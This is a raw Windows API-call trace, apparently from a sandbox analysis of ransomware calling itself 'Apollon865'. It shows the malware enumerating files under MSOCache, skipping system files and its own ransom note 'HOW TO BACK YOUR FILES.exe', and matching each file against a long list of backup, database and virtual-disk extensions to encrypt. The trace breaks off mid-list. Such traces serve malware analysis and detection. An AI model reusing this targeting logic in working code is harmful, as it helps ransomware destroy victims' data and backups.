	[0077.482] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="Apollon865.txt.exe") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="temp") returned -1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="pagefile.sys") returned -1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="boot") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="ids.txt") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="perflogs") returned -1
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2="MSBuild") returned 1
	[0077.482] lstrlenW (lpString="ose.exe") returned 7
	[0077.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0077.482] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe"
	[0077.482] lstrlenW (lpString="ose.exe") returned 7
	[0077.482] lstrlenW (lpString="Apollon865") returned 10
	[0077.482] lstrlenW (lpString=".dll") returned 4
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2=".dll") returned 1
	[0077.482] lstrlenW (lpString=".lnk") returned 4
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2=".lnk") returned 1
	[0077.482] lstrlenW (lpString=".ini") returned 4
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2=".ini") returned 1
	[0077.482] lstrlenW (lpString=".sys") returned 4
	[0077.482] lstrcmpiW (lpString1="ose.exe", lpString2=".sys") returned 1
	[0077.482] lstrlenW (lpString="ose.exe") returned 7
	[0077.482] lstrlenW (lpString="bak") returned 3
	[0077.482] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0077.482] lstrlenW (lpString="ba_") returned 3
	[0077.482] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0077.482] lstrlenW (lpString="dbb") returned 3
	[0077.482] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0077.483] lstrlenW (lpString="vmdk") returned 4
	[0077.483] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0077.483] lstrlenW (lpString="rar") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0077.483] lstrlenW (lpString="zip") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0077.483] lstrlenW (lpString="tgz") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0077.483] lstrlenW (lpString="vbox") returned 4
	[0077.483] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0077.483] lstrlenW (lpString="vdi") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0077.483] lstrlenW (lpString="vhd") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0077.483] lstrlenW (lpString="vhdx") returned 4
	[0077.483] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0077.483] lstrlenW (lpString="avhd") returned 4
	[0077.483] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0077.483] lstrlenW (lpString="db") returned 2
	[0077.483] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0077.483] lstrlenW (lpString="db2") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0077.483] lstrlenW (lpString="db3") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0077.483] lstrlenW (lpString="dbf") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0077.483] lstrlenW (lpString="mdf") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0077.483] lstrlenW (lpString="mdb") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0077.483] lstrlenW (lpString="sql") returned 3
	[0077.483] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0077.483] lstrlenW (lpString="sqlite") returned 6
	[0077.483] lstrcmpiW (lpString1="se.exe", lpString2="sqlite") returned -1
	[0077.483] lstrlenW (lpString="sqlite3") returned 7
	[0077.483] lstrlenW (lpString="sqlitedb") returned 8
	[0077.483] lstrlenW (lpString="xml") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0077.484] lstrlenW (lpString="$er") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0077.484] lstrlenW (lpString="4dd") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0077.484] lstrlenW (lpString="4dl") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0077.484] lstrlenW (lpString="^^^") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0077.484] lstrlenW (lpString="abs") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0077.484] lstrlenW (lpString="abx") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0077.484] lstrlenW (lpString="accdb") returned 5
	[0077.484] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1
	[0077.484] lstrlenW (lpString="accdc") returned 5
	[0077.484] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1
	[0077.484] lstrlenW (lpString="accde") returned 5
	[0077.484] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1
	[0077.484] lstrlenW (lpString="accdr") returned 5
	[0077.484] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1
	[0077.484] lstrlenW (lpString="accdt") returned 5
	[0077.484] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1
	[0077.484] lstrlenW (lpString="accdw") returned 5
	[0077.484] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1
	[0077.484] lstrlenW (lpString="accft") returned 5
	[0077.484] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1
	[0077.484] lstrlenW (lpString="adb") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.484] lstrlenW (lpString="adb") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.484] lstrlenW (lpString="ade") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0077.484] lstrlenW (lpString="adf") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0077.484] lstrlenW (lpString="adn") returned 3
	[0077.484] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0077.485] lstrlenW (lpString="adp") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0077.485] lstrlenW (lpString="alf") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0077.485] lstrlenW (lpString="ask") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0077.485] lstrlenW (lpString="btr") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0077.485] lstrlenW (lpString="cat") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0077.485] lstrlenW (lpString="cdb") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0077.485] lstrlenW (lpString="ckp") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0077.485] lstrlenW (lpString="cma") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0077.485] lstrlenW (lpString="cpd") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0077.485] lstrlenW (lpString="dacpac") returned 6
	[0077.485] lstrcmpiW (lpString1="se.exe", lpString2="dacpac") returned 1
	[0077.485] lstrlenW (lpString="dad") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0077.485] lstrlenW (lpString="dadiagrams") returned 10
	[0077.485] lstrlenW (lpString="daschema") returned 8
	[0077.485] lstrlenW (lpString="db-journal") returned 10
	[0077.485] lstrlenW (lpString="db-shm") returned 6
	[0077.485] lstrcmpiW (lpString1="se.exe", lpString2="db-shm") returned 1
	[0077.485] lstrlenW (lpString="db-wal") returned 6
	[0077.485] lstrcmpiW (lpString1="se.exe", lpString2="db-wal") returned 1
	[0077.485] lstrlenW (lpString="dbc") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0077.485] lstrlenW (lpString="dbs") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0077.485] lstrlenW (lpString="dbt") returned 3
	[0077.485] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0077.485] lstrlenW (lpString="dbv") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0077.486] lstrlenW (lpString="dbx") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0077.486] lstrlenW (lpString="dcb") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0077.486] lstrlenW (lpString="dct") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0077.486] lstrlenW (lpString="dcx") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0077.486] lstrlenW (lpString="ddl") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0077.486] lstrlenW (lpString="dlis") returned 4
	[0077.486] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0077.486] lstrlenW (lpString="dp1") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0077.486] lstrlenW (lpString="dqy") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0077.486] lstrlenW (lpString="dsk") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0077.486] lstrlenW (lpString="dsn") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0077.486] lstrlenW (lpString="dtsx") returned 4
	[0077.486] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0077.486] lstrlenW (lpString="dxl") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0077.486] lstrlenW (lpString="eco") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0077.486] lstrlenW (lpString="ecx") returned 3
	[0077.486] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0077.486] lstrlenW (lpString="edb") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0077.487] lstrlenW (lpString="epim") returned 4
	[0077.487] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0077.487] lstrlenW (lpString="fcd") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0077.487] lstrlenW (lpString="fdb") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0077.487] lstrlenW (lpString="fic") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0077.487] lstrlenW (lpString="flexolibrary") returned 12
	[0077.487] lstrlenW (lpString="fm5") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0077.487] lstrlenW (lpString="fmp") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0077.487] lstrlenW (lpString="fmp12") returned 5
	[0077.487] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1
	[0077.487] lstrlenW (lpString="fmpsl") returned 5
	[0077.487] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1
	[0077.487] lstrlenW (lpString="fol") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0077.487] lstrlenW (lpString="fp3") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0077.487] lstrlenW (lpString="fp4") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0077.487] lstrlenW (lpString="fp5") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0077.487] lstrlenW (lpString="fp7") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0077.487] lstrlenW (lpString="fpt") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0077.487] lstrlenW (lpString="frm") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0077.487] lstrlenW (lpString="gdb") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0077.487] lstrlenW (lpString="gdb") returned 3
	[0077.487] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0077.487] lstrlenW (lpString="grdb") returned 4
	[0077.487] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0077.488] lstrlenW (lpString="gwi") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0077.488] lstrlenW (lpString="hdb") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0077.488] lstrlenW (lpString="his") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0077.488] lstrlenW (lpString="ib") returned 2
	[0077.488] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0077.488] lstrlenW (lpString="idb") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0077.488] lstrlenW (lpString="ihx") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0077.488] lstrlenW (lpString="itdb") returned 4
	[0077.488] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0077.488] lstrlenW (lpString="itw") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0077.488] lstrlenW (lpString="jet") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0077.488] lstrlenW (lpString="jtx") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0077.488] lstrlenW (lpString="kdb") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0077.488] lstrlenW (lpString="kexi") returned 4
	[0077.488] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0077.488] lstrlenW (lpString="kexic") returned 5
	[0077.488] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1
	[0077.488] lstrlenW (lpString="kexis") returned 5
	[0077.488] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1
	[0077.488] lstrlenW (lpString="lgc") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0077.488] lstrlenW (lpString="lwx") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0077.488] lstrlenW (lpString="maf") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0077.488] lstrlenW (lpString="maq") returned 3
	[0077.488] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0077.488] lstrlenW (lpString="mar") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0077.489] lstrlenW (lpString="marshal") returned 7
	[0077.489] lstrlenW (lpString="mas") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0077.489] lstrlenW (lpString="mav") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0077.489] lstrlenW (lpString="maw") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0077.489] lstrlenW (lpString="mdbhtml") returned 7
	[0077.489] lstrlenW (lpString="mdn") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0077.489] lstrlenW (lpString="mdt") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0077.489] lstrlenW (lpString="mfd") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0077.489] lstrlenW (lpString="mpd") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0077.489] lstrlenW (lpString="mrg") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0077.489] lstrlenW (lpString="mud") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0077.489] lstrlenW (lpString="mwb") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0077.489] lstrlenW (lpString="myd") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0077.489] lstrlenW (lpString="ndf") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0077.489] lstrlenW (lpString="nnt") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0077.489] lstrlenW (lpString="nrmlib") returned 6
	[0077.489] lstrcmpiW (lpString1="se.exe", lpString2="nrmlib") returned 1
	[0077.489] lstrlenW (lpString="ns2") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0077.489] lstrlenW (lpString="ns3") returned 3
	[0077.489] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0077.489] lstrlenW (lpString="ns4") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0077.490] lstrlenW (lpString="nsf") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0077.490] lstrlenW (lpString="nv") returned 2
	[0077.490] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0077.490] lstrlenW (lpString="nv2") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0077.490] lstrlenW (lpString="nwdb") returned 4
	[0077.490] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0077.490] lstrlenW (lpString="nyf") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0077.490] lstrlenW (lpString="odb") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0077.490] lstrlenW (lpString="odb") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0077.490] lstrlenW (lpString="oqy") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0077.490] lstrlenW (lpString="ora") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0077.490] lstrlenW (lpString="orx") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0077.490] lstrlenW (lpString="owc") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0077.490] lstrlenW (lpString="p96") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0077.490] lstrlenW (lpString="p97") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0077.490] lstrlenW (lpString="pan") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0077.490] lstrlenW (lpString="pdb") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0077.490] lstrlenW (lpString="pdm") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0077.490] lstrlenW (lpString="pnz") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0077.490] lstrlenW (lpString="qry") returned 3
	[0077.490] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0077.490] lstrlenW (lpString="qvd") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0077.491] lstrlenW (lpString="rbf") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0077.491] lstrlenW (lpString="rctd") returned 4
	[0077.491] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0077.491] lstrlenW (lpString="rod") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0077.491] lstrlenW (lpString="rodx") returned 4
	[0077.491] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0077.491] lstrlenW (lpString="rpd") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0077.491] lstrlenW (lpString="rsd") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0077.491] lstrlenW (lpString="sas7bdat") returned 8
	[0077.491] lstrlenW (lpString="sbf") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0077.491] lstrlenW (lpString="scx") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0077.491] lstrlenW (lpString="sdb") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0077.491] lstrlenW (lpString="sdc") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0077.491] lstrlenW (lpString="sdf") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0077.491] lstrlenW (lpString="sis") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0077.491] lstrlenW (lpString="spq") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0077.491] lstrlenW (lpString="te") returned 2
	[0077.491] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0077.491] lstrlenW (lpString="teacher") returned 7
	[0077.491] lstrlenW (lpString="tmd") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0077.491] lstrlenW (lpString="tps") returned 3
	[0077.491] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0077.491] lstrlenW (lpString="trc") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0077.492] lstrlenW (lpString="trc") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0077.492] lstrlenW (lpString="trm") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0077.492] lstrlenW (lpString="udb") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0077.492] lstrlenW (lpString="udl") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0077.492] lstrlenW (lpString="usr") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0077.492] lstrlenW (lpString="v12") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0077.492] lstrlenW (lpString="vis") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0077.492] lstrlenW (lpString="vpd") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0077.492] lstrlenW (lpString="vvv") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0077.492] lstrlenW (lpString="wdb") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0077.492] lstrlenW (lpString="wmdb") returned 4
	[0077.492] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0077.492] lstrlenW (lpString="wrk") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0077.492] lstrlenW (lpString="xdb") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0077.492] lstrlenW (lpString="xld") returned 3
	[0077.492] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0077.493] lstrlenW (lpString="xmlff") returned 5
	[0077.493] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1
	[0077.493] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="Apollon865.txt.exe") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2=".") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="..") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="windows") returned -1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="bootmgr") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="temp") returned -1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="pagefile.sys") returned -1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="boot") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="ids.txt") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="ntuser.dat") returned 1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="perflogs") returned -1
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2="MSBuild") returned 1
	[0077.493] lstrlenW (lpString="osetup.dll") returned 10
	[0077.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0077.493] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll"
	[0077.493] lstrlenW (lpString="osetup.dll") returned 10
	[0077.493] lstrlenW (lpString="Apollon865") returned 10
	[0077.493] lstrlenW (lpString=".dll") returned 4
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2=".dll") returned 1
	[0077.493] lstrlenW (lpString=".lnk") returned 4
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2=".lnk") returned 1
	[0077.493] lstrlenW (lpString=".ini") returned 4
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2=".ini") returned 1
	[0077.493] lstrlenW (lpString=".sys") returned 4
	[0077.493] lstrcmpiW (lpString1="osetup.dll", lpString2=".sys") returned 1
	[0077.493] lstrlenW (lpString="osetup.dll") returned 10
	[0077.493] lstrlenW (lpString="bak") returned 3
	[0077.493] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0077.493] lstrlenW (lpString="ba_") returned 3
	[0077.493] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0077.493] lstrlenW (lpString="dbb") returned 3
	[0077.493] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0077.494] lstrlenW (lpString="vmdk") returned 4
	[0077.494] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0077.494] lstrlenW (lpString="rar") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0077.494] lstrlenW (lpString="zip") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0077.494] lstrlenW (lpString="tgz") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0077.494] lstrlenW (lpString="vbox") returned 4
